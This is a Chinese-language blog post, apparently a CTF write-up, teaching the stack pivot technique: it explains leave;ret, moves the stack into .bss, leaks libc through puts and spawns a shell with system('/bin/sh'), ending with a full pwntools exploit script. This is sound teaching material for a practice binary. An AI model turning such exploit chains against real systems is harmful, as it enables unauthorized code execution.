stack pivot

题目出自哪里已经记不真切了

只依稀记得这是我正式做的第一道pwn题,当时的我就像刚出新手村的菜鸟遇见了大boss一般,与其鏖战了数个日夜才终于拿下

来看看吧!

题目逻辑非常之简单

1
2
3
4
5
6
7
8
9
undefined8 main(EVP_PKEY_CTX *param_1)
{
undefined1 local_58 [80];

init(param_1);
puts("Xswlhhh!Use stack hijacking on him!");
read(0,local_58,0x60);
return 0;
}

题目的保护只有NX

但是这在当时对于只会无脑溢出覆盖返回地址的我来说宛如噩梦,设置了local_58[80],然而read只有0x60的大小,也就是说算上saved rbp只剩下最后的8个字节供我覆盖rip,而题目又有NX,长度完全不够执行rop链!怎么办呢?我查询资料,得知存在一种技术叫做:栈迁移(stack pivot)

原理在于,将saved rbp覆盖为你想让rbp去的地方,将rip覆盖为再执行一次read的地址,因此执行逻辑便变为,main函数结束后,即将退出,执行leave; ret;的指令,而saved rbp已经被设置为我们想让它去的地方(通常是一个可读可写的地址段),rip又一次执行read,最后在那个段空间重新分配一个新的栈帧,供我们自由发挥

这里有一些前置知识需要理解,当时困扰了我许久,现在写下来,首先是leave; ret;干了什么,你可以将其理解为两个阶段,先是leave,其相当于mov rsp,rbppop rbp,注意,最后,rsp += 8,然后执行ret指令,相当于rip = *rsp,注意,同样,rsp += 8,接下来,如何理解栈帧?其实cpu并不在乎rbp在哪里,它只关心执行流要干什么事儿

1
LEA RAX => local_58,[RBP + -0x50]

read始于local_58[80]的地址,local_58[80]这个数组始终位于rbp - 0x50的位置,而rbp + 0x8的位置便是rip,栈帧布局永远如此,无论rbp在哪里,因此给了我们伪造新栈帧的利用空间

所以第一段payload如下

1
2
3
4
payload = b"A" * 0x50
payload += p64(elf.bss(0x800))
payload += p64(0x4011e3) #相当于重新执行一次read
sh.sendafter(b"\n",payload)

这时一个新的栈帧在bss段中形成了

我们在新的栈帧中有了充足的空间来写rop链,因此便十分easy了,就打一个ret2libc吧,先来泄露libc基址

payload如下

1
2
3
4
5
6
7
payload = p64(pop_rdi_ret) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(elf.sym["main"])
payload = payload.ljust(0x50,b"\0")
payload += p64(elf.bss(0x800-0x58))
payload += p64(leave_ret)
sh.sendafter(b"\n",payload)

第一次看这个payload应该还是蛮懵的,不过对照着leave; ret;的含义在内存布局中多自己分析推导几遍便能理解其妙处所在,这里便不展开了

大致画一下内存布局供你分析

内存布局

接下来接收得到的puts真实地址并计算libc基址

1
2
libc.address = u64(sh.recv(6).ljust(8,b"\0")) - libc.sym["puts"]
print("libc @",hex(libc.address))

注意上述payload执行完后我们又回到了main函数,此时rsp经过一系列弹栈,应该位于0x404810的位置,而main函数起始处的指令再次布置了栈帧

1
2
3
push rbp
mov rbp,rsp
sub rsp,0x50

这段理解起来确实比较复杂,还是那句话,多动手调试(善用你的gdb),思考,分析汇编rsprbprip内存等的变化

此时在新的栈帧上,类似于上面,我们布置我们的最终payload

如下

1
2
3
4
5
6
7
payload = p64(pop_rdi_ret) + p64(next(libc.search(b"/bin/sh")))
payload += p64(ret) #对齐!
payload += p64(libc.sym["system"])
payload = payload.ljust(0x50,b"\0")
payload += p64(0x4047b0)
payload += p64(leave_ret)
sh.sendafter(b"\n",payload)

最后也是成功拿到shell

如果你彻底理解了这道题目,并能完整推理一遍过程,恭喜你,大抵是彻底理解了stack pivot这门技术,接下来迎接你的即将是更为复杂的栈布局,你加油,我也加油…

最后补一下完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
elf =ELF("./pivot",False) #本地...
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",False)
context.binary = elf
sh = elf.process()

pop_rdi_ret = 0x401225
leave_ret = 0x40121b
ret = leave_ret + 1

payload = b"A" * 0x50
payload += p64(elf.bss(0x800))
payload += p64(0x4011e3)
sh.sendafter(b"\n",payload)


payload = p64(pop_rdi_ret) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(elf.sym["main"])
payload = payload.ljust(0x50,b"\0")
payload += p64(elf.bss(0x800-0x58))
payload += p64(leave_ret)
sh.sendafter(b"\n",payload)

libc.address = u64(sh.recv(6).ljust(8,b"\0")) - libc.sym["puts"]
print("libc @",hex(libc.address))
payload = p64(pop_rdi_ret) + p64(next(libc.search(b"/bin/sh")))
payload += p64(ret)
payload += p64(libc.sym["system"])
payload = payload.ljust(0x50,b"\0")
payload += p64(0x4047b0)
payload += p64(leave_ret)
sh.sendafter(b"\n",payload)

sh.interactive()

感谢阅读…

生活愉快!


stack pivot
https://roxy5201314.github.io/2025/12/25/stack-pivot/
作者
roxy
发布于
2025年12月25日
更新于
2026年2月12日
许可协议